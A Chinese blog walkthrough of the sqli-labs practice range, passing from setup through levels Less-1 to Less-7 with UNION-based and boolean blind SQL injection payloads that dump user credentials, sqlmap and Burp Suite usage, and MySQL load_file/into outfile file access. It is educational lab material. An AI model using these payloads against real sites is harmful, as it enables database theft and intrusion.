sqli-labs注入靶场实例

靶场搭建

apt-get update #更新源
apt-get install docker docker-compose # 安装docker和docker-compose
systemctl start docker #启动docker
docker search sqli-labs  #搜索镜像
docker pull acgpiano/sqli-labs   #下载镜像
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs # 启动容器

访问web端:
在这里插入图片描述
在这里插入图片描述
创建数据库

在这里插入图片描述

sql注入练习

建议使用手动注入,手动注入可以更加了解到sql注入的原理,使用工具可以更快的查询到数据新手不推荐使用工具。

sql基本知识:

sql语句:
select schema_name from information_schema.schemata; #查询所有数据库
select table_name  from information_schema.tables where table_schema='security'; #查询security数据库内表
select column_name from information_schema.columns where table_name='users'; #查询users字段名
select username,password from security.users;#查询username字段和password字段内容
系统查询:
select system_user();#显示系统用户
select user();#显示当前用户(登录用户)
select database(); #显示当前数据库
select version(); #显示当前数据库版本
select @@datadir; #显示当前数据库安装目录
select @@version_compile_os; 显示当前操作系统版本
函数:
group_concat() ##将所有数据拼接成一行进行显示
concat_ws(“-”,a,b) ##将数据按照格式排列
left(database(),1)='s' ##从左截取database()的前n位,正确返回1,错误返回0
regexp() ## 匹配正则表达式函数
like() ## 匹配相似表达式
ascii() ##将某个字符转换为ascii码
sbustr(a,b,c) #从位置b开始,截取a字符串c为长度
chr('数字') 使用python中的两个函数判断当前ascii的值

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
select left(database(),1)=‘s’;
在这里插入图片描述
select user() regexp ‘r’;
在这里插入图片描述

select user() like’ro%';在这里插入图片描述

Less-1

判断字符型和数字型注入

and 1=2时没有报错说明时字符型注入
在这里插入图片描述
反之数值型就会报错
在这里插入图片描述

手动注入

在这里插入图片描述
使用单引号闭合报错发现注入点。

请添加图片描述

判断列数:
order by分组
–+为注释语句,不执行后面语句
发现列为4报错,只有3列。
使用联合查询进行语句拼接。

请添加图片描述
我们可以在3显示位置进行语句拼接进行查询数据库。
limit 0,1

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
这里可以使用group_concat()将所有数据拼接成一行进行显示。
在这里插入图片描述
查询数据表名:
在这里插入图片描述
查询到数据字段
在这里插入图片描述
可以转换为十六进制代码执行,注意转换单引号为0x后面的单引号省略,使用
在这里插入图片描述

在这里插入图片描述
因为users表内有username和password可以使用concat_ws函数进行显示
http://192.168.252.128/Less-1/?id=-1’ union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users–+

在这里插入图片描述

工具注入

使用sqlmap直接注入:

在这里插入图片描述
爆数据库 -dbs
在这里插入图片描述
-D 爆指定数据库表 --tables
在这里插入图片描述
在这里插入图片描述
-T 爆指定数据库字段 --columns
在这里插入图片描述
在这里插入图片描述
-C 爆指定字段内容 --dump
在这里插入图片描述
在这里插入图片描述

Less-2

手动注入

使用id=1‘报错发现注入点
在这里插入图片描述
判断为数字型
在这里插入图片描述
判断列为3
在这里插入图片描述
注意这里不能使单引号闭合,因为时数字型注入。
方法与上面相同,这里直接引用Less-1的语句即可注意id=1后没有单引号。
在这里插入图片描述
sqlmap也是相同用法。

Less-3

手动注入

发现id值使用()包裹
在这里插入图片描述
对比Less-1可以看出Less-1使用双引号包裹语句,而Less-2没有使用符号包裹语句,而Less-3使用”)进行闭合。

在这里插入图片描述
我们使用)–+注释后面的语句就会变成id=1‘)–+‘),注释符后面的语句不会执行,这样就找到了注入方法。
在这里插入图片描述
在这里插入图片描述
http://192.168.252.128/Less-3/?id=-1’) union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users–+
在这里插入图片描述
sqlmap与Less-1相同

Less-4

手动注入

id=1’未发现注入点
在这里插入图片描述
使用双引号发现报错
在这里插入图片描述
在这里插入图片描述
自己构建“)进行闭合语句–+注释后面系统的”) LIMIT 0,1’
在这里插入图片描述
和Less-1一样爆出数据库和表。
构建注入语句:http://192.168.252.128/Less-4/?id=-1")union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users–+

在这里插入图片描述
sqlmap 注入直接和Less-1相同。

Less-5

手工注入

id=1时为you are in说明语句执行成功
在这里插入图片描述
这里加单引号报错提示。
在这里插入图片描述
进行布尔盲注判断列。

在这里插入图片描述
这里可以看到正确返回可以看到you are in …而错误为空

在这里插入图片描述
发现可以通过函数进行判断数据库名left 判断数据库名:

http://192.168.252.128/Less-5/?id=1' and left ((select database()),1)='s'--+ #判断数据库的名截取第一位为s判断是否正确正确返回you are in

在这里插入图片描述
这里建议使用工具进行字典爆破

burp suite

在这里插入图片描述
发送值到暴力破解模块
在这里插入图片描述
在这里插入图片描述
点击启动
在这里插入图片描述
这里也可以爆破出数据库名

可以接下来爆破数据库的第二位
这里随便填写一位
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
爆破出第二位为e
在这里插入图片描述
这种方法有点慢,还可以通过脚本的方式进行破解,或者使用sqlmap

sqlmap

在这里插入图片描述
在这里插入图片描述

Less-6

此关和上面第五关将单引号改为双引号
在这里插入图片描述
在这里插入图片描述
这里不在赘述。

Less-7

手工注入

函数:
load_file() #读取本地文件 例:select load_file("\var\www\html\test.php");
into outfile #写文件 例:select 'mysql' into outfile 'test.php'; 或者select 'mysql' into outfile '\var\www\html\test.php';

这里提示我们使用outfile函数
在这里插入图片描述
发现注入点,我们使用符号进行闭合
在这里插入图片描述

通过多次判断可知,输入/?id=1’)) --+,回显结果正确
在这里插入图片描述
判断列数为三
在这里插入图片描述

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cun'zhang

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值